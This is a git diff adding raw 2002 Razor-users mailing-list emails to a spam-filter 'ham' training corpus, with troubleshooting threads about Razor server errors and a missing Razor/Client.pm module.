WORLDWIDEWORDS + To join, send: SUBSCRIBE WORLDWIDEWORDS First-name Last-name + + +7. Contact addresses +------------------------------------------------------------------- +Do not use the address that comes up when you hit 'Reply' on this +mailing, or your message will be sent to an electronic dead-letter +office. Either create a new message, or change the outgoing 'To:' +address to one of these: + + For general comments: . + For Q&A section questions: . + +------------------------------------------------------------------- +World Wide Words is copyright (c) Michael Quinion 2002. All rights +reserved. The Words Web site is at . +------------------------------------------------------------------- +You may reproduce this newsletter in whole or in part in other free +media online provided that you include this note and the copyright +notice above. Reproduction in print media or on Web pages requires +prior permission: contact . +------------------------------------------------------------------- + + diff --git a/bayes/spamham/easy_ham_2/00526.618ca98770b667fd66a8a278bb1b7b5c b/bayes/spamham/easy_ham_2/00526.618ca98770b667fd66a8a278bb1b7b5c new file mode 100644 index 0000000..1f251b6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00526.618ca98770b667fd66a8a278bb1b7b5c @@ -0,0 +1,85 @@ +From razor-users-admin@lists.sourceforge.net Mon Jul 22 17:39:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E3D39440C8 + for ; Mon, 22 Jul 2002 12:39:25 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:39:25 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFhFI08237 for + ; Mon, 22 Jul 2002 16:43:15 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id QAA32707 for + ; Mon, 22 Jul 2002 16:23:15 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WekC-0005gE-00; Mon, + 22 Jul 2002 08:05:04 -0700 +Received: from uu-t1-6.visgen.com ([216.94.71.6]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WejP-0007Kn-00 for ; Mon, + 22 Jul 2002 08:04:15 -0700 +Received: from 216.94.71.6 ( [216.94.71.6]) as user scott@localhost by + webmail.visgen.com with HTTP; Mon, 22 Jul 2002 10:39:11 -0400 +Message-Id: <1027348751.3d3c190f9c408@webmail.visgen.com> +From: Scott Augustus +To: razor-users@example.sourceforge.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +User-Agent: Internet Messaging Program (IMP) 3.0 +X-Originating-Ip: 216.94.71.6 +X-Virus-Scanned: by VGI Postfix Mcafee VirusScan 4.x +Subject: [Razor-users] Razor Server Error +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 10:39:11 -0400 +Date: Mon, 22 Jul 2002 10:39:11 -0400 + +Can anyone offer some insight into the following error? I am able to pipe mail +through razor-check as root and it works fine but when it goes through the user +filter via postfix I get the errors below. What's strange is that this just +started, I've made no changes, and it was running beautifully for days. + +The goods: + +Jul 22 10:59:39.878996 check[29891]: [ 1] [bootup] Logging initiated +LogDebugLevel=3 to file:razor-agent.log +Jul 22 10:59:39.880196 check[29891]: [ 2] Razor-Agents v2.12 starting razor- +check +Jul 22 10:59:41.929484 check[29891]: [ 3] Unable to connect to ARRAY +(0x80ff3c8):2703; Reason: Invalid argument. +Jul 22 10:59:41.934032 check[29891]: [ 1] vr4_signature: Bad ep4: +Jul 22 10:59:41.935634 check[29891]: [ 3] Unable to connect to ARRAY +(0x80ff3c8):2703; Reason: Invalid argument. +Jul 22 10:59:41.936022 check[29891]: [ 1] razor-check error: checkit: connect1: +nextserver: No Razor servers available at this time + +TIA! + +~S~ + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00527.23df8fd40b46ca100ce683289ec0c961 b/bayes/spamham/easy_ham_2/00527.23df8fd40b46ca100ce683289ec0c961 new file mode 100644 index 0000000..bcc7096 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00527.23df8fd40b46ca100ce683289ec0c961 @@ -0,0 +1,100 @@ +From razor-users-admin@lists.sourceforge.net Mon Jul 22 17:45:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9FC91440C8 + for ; Mon, 22 Jul 2002 12:45:11 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:45:11 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFkHI09950 for + ; Mon, 22 Jul 2002 16:46:17 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id CAA29637 for + ; Mon, 22 Jul 2002 02:49:37 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WS7G-00067R-00; Sun, + 21 Jul 2002 18:36:02 -0700 +Received: from habanero.hesketh.net ([66.45.6.196]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WS77-0000R7-00 for ; Sun, + 21 Jul 2002 18:35:53 -0700 +Received: (from schampeo@localhost) by habanero.hesketh.net + (8.11.6/8.11.1) id g6LNkId07042 for razor-users@lists.sourceforge.net; + Sun, 21 Jul 2002 19:46:18 -0400 +X-Received-From: schampeo +X-Delivered-To: razor-users@example.sourceforge.net +X-Originating-Ip: [] +From: Steven Champeon +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Re: revoke problem +Message-Id: <20020721194618.B6402@hesketh.com> +Mail-Followup-To: razor-users@example.sourceforge.net +References: <20020714214044.B31831@hesketh.com> + <20020718151337.D23651@hesketh.com> + <20020718201801.GA5443@nexus.cloudmark.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020718201801.GA5443@nexus.cloudmark.com>; from Chad + Norwood on Thu, Jul 18, 2002 at 01:18:01PM -0700 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 19:46:18 -0400 +Date: Sun, 21 Jul 2002 19:46:18 -0400 + +on Thu, Jul 18, 2002 at 01:18:01PM -0700, Chad Norwood wrote: +> On 18/07/02 15:13 -0400, Steven Champeon wrote: +> ) +> ) Chad, has there been any progress on this? Thanks. +> +> +> We are constantly working and improving the overall system, +> client code, server code, logic, etc. Sometimes the long term +> fix is not apparent right away with specific issues seen by +> razor-users. +> +> If a mail is reported and revoked by the same identity, +> it still might be considered spam. + +Oh, OK. That doesn't make sense. :) Can someone manually remove/revoke +the message in question, then, while you work constantly to improve and +tweak the system? Thanks :) + + + +> ) > I immediately revoked it, using the mutt command "|" and "razor-revoke", +> ) > but it appears to still be in razor. Hashes are as follows: +> ) > +> ) > 1 part N/A e1: Zh19_7n6GRBFk6lyr8PYJcIWGJ8A +> ) > 1 part 0 e3: q_vLZZ9m-ZAD3N3e7ieSzeeYekaYF83f6G11dfcTy9kA +> ) > 1 part 0 e4: dcq2LaohnBmKsqUJW4xnOsdyk9EA, ep4: 7542-10 + +-- +hesketh.com/inc. v: (919) 834-2552 f: (919) 834-2554 w: http://hesketh.com + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00528.8b92b7e294dfb583ba3b503e15401c59 b/bayes/spamham/easy_ham_2/00528.8b92b7e294dfb583ba3b503e15401c59 new file mode 100644 index 0000000..054a923 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00528.8b92b7e294dfb583ba3b503e15401c59 @@ -0,0 +1,102 @@ +From razor-users-admin@lists.sourceforge.net Mon Jul 22 20:20:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EBB5D440C8 + for ; Mon, 22 Jul 2002 15:20:39 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 20:20:39 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6MJJI419748 for ; Mon, 22 Jul 2002 20:19:18 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Wiad-0000vc-00; Mon, + 22 Jul 2002 12:11:27 -0700 +Received: from dsl-sj-66-219-68-222.broadviewnet.net ([66.219.68.222] + helo=455scott.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17Wia1-0007nT-00 for + ; Mon, 22 Jul 2002 12:10:49 -0700 +Received: from chad by 455scott.com with local (Exim 4.04) id + 17WiZx-0003Cy-00; Mon, 22 Jul 2002 12:10:45 -0700 +From: Chad Norwood +To: Scott Augustus +Cc: razor-users@example.sourceforge.net +Message-Id: <20020722191045.GA12317@455scott.com> +References: <1027348751.3d3c190f9c408@webmail.visgen.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1027348751.3d3c190f9c408@webmail.visgen.com> +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: Razor Server Error +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 12:10:45 -0700 +Date: Mon, 22 Jul 2002 12:10:45 -0700 + + + There was a server bug on the backup discovery server. + It's fixed now. + + cheers, + chad + + +On 22/07/02 10:39 -0400, Scott Augustus wrote: +) Can anyone offer some insight into the following error? I am able to pipe mail +) through razor-check as root and it works fine but when it goes through the user +) filter via postfix I get the errors below. What's strange is that this just +) started, I've made no changes, and it was running beautifully for days. +) +) The goods: +) +) Jul 22 10:59:39.878996 check[29891]: [ 1] [bootup] Logging initiated +) LogDebugLevel=3 to file:razor-agent.log +) Jul 22 10:59:39.880196 check[29891]: [ 2] Razor-Agents v2.12 starting razor- +) check +) Jul 22 10:59:41.929484 check[29891]: [ 3] Unable to connect to ARRAY +) (0x80ff3c8):2703; Reason: Invalid argument. +) Jul 22 10:59:41.934032 check[29891]: [ 1] vr4_signature: Bad ep4: +) Jul 22 10:59:41.935634 check[29891]: [ 3] Unable to connect to ARRAY +) (0x80ff3c8):2703; Reason: Invalid argument. +) Jul 22 10:59:41.936022 check[29891]: [ 1] razor-check error: checkit: connect1: +) nextserver: No Razor servers available at this time +) +) TIA! +) +) ~S~ +) +) +) ------------------------------------------------------- +) This sf.net email is sponsored by:ThinkGeek +) Welcome to geek heaven. +) http://thinkgeek.com/sf +) _______________________________________________ +) Razor-users mailing list +) Razor-users@lists.sourceforge.net +) https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00529.dc4d60c1ae44f29f249ebcba42e0d179 b/bayes/spamham/easy_ham_2/00529.dc4d60c1ae44f29f249ebcba42e0d179 new file mode 100644 index 0000000..143c9d2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00529.dc4d60c1ae44f29f249ebcba42e0d179 @@ -0,0 +1,83 @@ +From razor-users-admin@lists.sourceforge.net Tue Jul 23 22:39:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BAA4E440CC + for ; Tue, 23 Jul 2002 17:39:19 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 22:39:19 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NLbh429870 for ; Tue, 23 Jul 2002 22:37:43 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X7CY-0002gJ-00; Tue, + 23 Jul 2002 14:28:14 -0700 +Received: from grex.cyberspace.org ([216.93.104.34]) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17X7C5-0001lu-00 for ; Tue, + 23 Jul 2002 14:27:46 -0700 +Received: from localhost (boyhowdy@localhost) by grex.cyberspace.org + (8.6.13/8.6.12) with SMTP id RAA08465 for + ; Tue, 23 Jul 2002 17:28:34 -0400 +From: Scott Henderson +Reply-To: Scott Henderson +To: Razor-Users +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Subject: [Razor-users] can't find Razor/Client.pm +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 17:28:33 -0400 (EDT) +Date: Tue, 23 Jul 2002 17:28:33 -0400 (EDT) + +Apologies if this has been answered before on this list. I can't +find a way to search the archives. I did my best to scan through +the archive messages, but can't find my answer. Please advise if +there is a search engine somewhere, Thanks. + +I'm trying to set up a smtp relay mail server using postfix, +Spamassassin, and amavisd-new. (no local delivery, just an +anti-spam filter box) I have installed razor-agents-sdk-2.02 and +razor-agents-2.125 (in that order) on a RH 7.3 box for this. But +when I try to load amavisd from the command line (as root), I get +errors with: + +Can't locate Razor/Client.pm in @INC. But the machine does have +a Client.pm on it, in fact, several, at: + +/usr/lib/perl5/5.6.1/Client.pm +/usr/lib/perl5/site_perl/5.6.1/WAIT/Client.pm +/usr/lib/perl5/site_perl/5.6.1/Client.pm +/usr/lib/perl5/vendor_perl/5.6.1/Frontier/Client.pm.rawcall +/usr/lib/perl5/vendor_perl/5.6.1/Frontier/Client.pm + +What am I missing? Thanks! + +Scott + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00530.692addc8166eb0acb82908023008e1d2 b/bayes/spamham/easy_ham_2/00530.692addc8166eb0acb82908023008e1d2 new file mode 100644 index 0000000..0909bf0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00530.692addc8166eb0acb82908023008e1d2 @@ -0,0 +1,79 @@ +From razor-users-admin@lists.sourceforge.net Tue Jul 23 23:11:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 02D86440CC + for ; Tue, 23 Jul 2002 18:11:25 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 23:11:26 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NM84431468 for ; Tue, 23 Jul 2002 23:08:04 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X7hL-000570-00; Tue, + 23 Jul 2002 15:00:03 -0700 +Received: from 70.muca.bstn.bstnmaco.dsl.att.net ([12.98.14.70] + helo=pulse.fsckit.net) by usw-sf-list1.sourceforge.net with esmtp (Cipher + TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17X7gm-0008UA-00 + for ; Tue, 23 Jul 2002 14:59:28 -0700 +Received: from twells by pulse.fsckit.net with local (Exim) id + 17X7gg-0007b4-00; Tue, 23 Jul 2002 17:59:22 -0400 +From: "Tabor J. Wells" +To: Scott Henderson +Cc: Razor-Users +Subject: Re: [Razor-users] can't find Razor/Client.pm +Message-Id: <20020723215921.GE24778@fsckit.net> +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-Copyright: This email is Copyright (c)2002 by razor-users@fsckit.net. + All rights reserved. +X-Bofh: Do you feel lucky? +X-Jihad: I will hunt down all who spam my account. Try me. +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 17:59:22 -0400 +Date: Tue, 23 Jul 2002 17:59:22 -0400 + +On Tue, Jul 23, 2002 at 05:28:33PM -0400, +Scott Henderson is thought to have said: + +> What am I missing? Thanks! + +Razor/Client.pm is part of Razor v1. You've installed Razor v2. +Spamassassin's current release only works with v1. Although IIRC +the current CVS code works with v2. + +Tabor +-- +-------------------------------------------------------------------- +Tabor J. Wells razor-users@fsckit.net +Fsck It! Just another victim of the ambient morality + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00531.5974f92db981f4b08a71eb6a774d7b15 b/bayes/spamham/easy_ham_2/00531.5974f92db981f4b08a71eb6a774d7b15 new file mode 100644 index 0000000..1a47d2c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00531.5974f92db981f4b08a71eb6a774d7b15 @@ -0,0 +1,67 @@ +From razor-users-admin@lists.sourceforge.net Tue Jul 23 23:16:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2B1EC440CC + for ; Tue, 23 Jul 2002 18:16:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 23:16:46 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NMDP431905 for ; Tue, 23 Jul 2002 23:13:25 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X7n9-0007UA-00; Tue, + 23 Jul 2002 15:06:03 -0700 +Received: from grex.cyberspace.org ([216.93.104.34]) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17X7mQ-00013G-00 for ; Tue, + 23 Jul 2002 15:05:18 -0700 +Received: from localhost (boyhowdy@localhost) by grex.cyberspace.org + (8.6.13/8.6.12) with SMTP id SAA12869; Tue, 23 Jul 2002 18:06:06 -0400 +From: Scott Henderson +Reply-To: Scott Henderson +To: "Tabor J. Wells" +Cc: Razor-Users +Subject: Re: [Razor-users] can't find Razor/Client.pm +In-Reply-To: <20020723215921.GE24778@fsckit.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 18:06:05 -0400 (EDT) +Date: Tue, 23 Jul 2002 18:06:05 -0400 (EDT) + +On Tue, 23 Jul 2002, Tabor J. Wells wrote: +>Razor/Client.pm is part of Razor v1. You've installed Razor v2. +>Spamassassin's current release only works with v1. Although IIRC +>the current CVS code works with v2. + +Thanks, Tabor. How do I install v1 over v2, and where does one +get it? (I don't see it at razor.sourceforge.net) + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00532.f28f9c07ed2a6925cdfc4eb6454901f9 b/bayes/spamham/easy_ham_2/00532.f28f9c07ed2a6925cdfc4eb6454901f9 new file mode 100644 index 0000000..920e3b4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00532.f28f9c07ed2a6925cdfc4eb6454901f9 @@ -0,0 +1,80 @@ +From razor-users-admin@lists.sourceforge.net Tue Jul 23 23:32:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 89D20440CC + for ; Tue, 23 Jul 2002 18:32:56 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 23:32:56 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NMTa432592 for ; Tue, 23 Jul 2002 23:29:37 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X7xn-0004PL-00; Tue, + 23 Jul 2002 15:17:03 -0700 +Received: from 70.muca.bstn.bstnmaco.dsl.att.net ([12.98.14.70] + helo=pulse.fsckit.net) by usw-sf-list1.sourceforge.net with esmtp (Cipher + TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17X7wq-00045A-00 + for ; Tue, 23 Jul 2002 15:16:05 -0700 +Received: from twells by pulse.fsckit.net with local (Exim) id + 17X7wo-0007df-00; Tue, 23 Jul 2002 18:16:02 -0400 +From: "Tabor J. Wells" +To: Scott Henderson +Cc: Razor-Users +Subject: Re: [Razor-users] can't find Razor/Client.pm +Message-Id: <20020723221601.GF24778@fsckit.net> +References: <20020723215921.GE24778@fsckit.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-Copyright: This email is Copyright (c)2002 by razor-users@fsckit.net. + All rights reserved. +X-Bofh: Do you feel lucky? +X-Jihad: I will hunt down all who spam my account. Try me. +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 18:16:02 -0400 +Date: Tue, 23 Jul 2002 18:16:02 -0400 + +On Tue, Jul 23, 2002 at 06:06:05PM -0400, +Scott Henderson is thought to have said: + +> Thanks, Tabor. How do I install v1 over v2, and where does one +> get it? (I don't see it at razor.sourceforge.net) + +It's there. Scroll down on the downloads page. However you might +consider going the other way and installing SpamAssassin's 2.40 +bleeding-edge code as Razor v2 has a lot of nice features over v1. + +-- +-------------------------------------------------------------------- +Tabor J. Wells razor-users@fsckit.net +Fsck It! Just another victim of the ambient morality + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00533.2f8894932bd7894c46fcf7715895d927 b/bayes/spamham/easy_ham_2/00533.2f8894932bd7894c46fcf7715895d927 new file mode 100644 index 0000000..7602be2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00533.2f8894932bd7894c46fcf7715895d927 @@ -0,0 +1,87 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 24 00:21:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 368EC440D0 + for ; Tue, 23 Jul 2002 19:21:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:21:24 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NNMV403357 for ; Wed, 24 Jul 2002 00:22:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X8p2-00036N-00; Tue, + 23 Jul 2002 16:12:04 -0700 +Received: from eclectic.kluge.net ([66.92.69.221]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17X8ob-0005LK-00 for ; Tue, + 23 Jul 2002 16:11:37 -0700 +Received: (from felicity@localhost) by eclectic.kluge.net (8.11.6/8.11.6) + id g6NNBS814844; Tue, 23 Jul 2002 19:11:28 -0400 +From: Theo Van Dinter +To: "Tabor J. Wells" +Cc: Razor-Users +Subject: Re: [Razor-users] can't find Razor/Client.pm +Message-Id: <20020723231128.GA14564@kluge.net> +References: <20020723215921.GE24778@fsckit.net> + + <20020723221601.GF24778@fsckit.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020723221601.GF24778@fsckit.net> +User-Agent: Mutt/1.4i +X-GPG-Keyserver: http://wwwkeys.pgp.net +X-GPG-Keynumber: 0xE580B363 +X-GPG-Fingerprint: 75B1 F6D0 8368 38E7 A4C5 F6C2 02E3 9051 E580 B363 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 19:11:28 -0400 +Date: Tue, 23 Jul 2002 19:11:28 -0400 + +On Tue, Jul 23, 2002 at 06:16:02PM -0400, Tabor J. Wells wrote: +> It's there. Scroll down on the downloads page. However you might +> consider going the other way and installing SpamAssassin's 2.40 +> bleeding-edge code as Razor v2 has a lot of nice features over v1. + +To paraphrase something I heard once: +Unless you like looking for a new job, never install a non-released or +development-only version of software anywhere where the results of such +code are important. + +ie: Don't run development code on a production machine. :) + + +The problem isn't SA anyway, it looks for Razor1 and just keeps on +going if it can't find it. Something came up about amavis on the SA +list where it looks for Razor itself... + +-- +Randomly Generated Tagline: 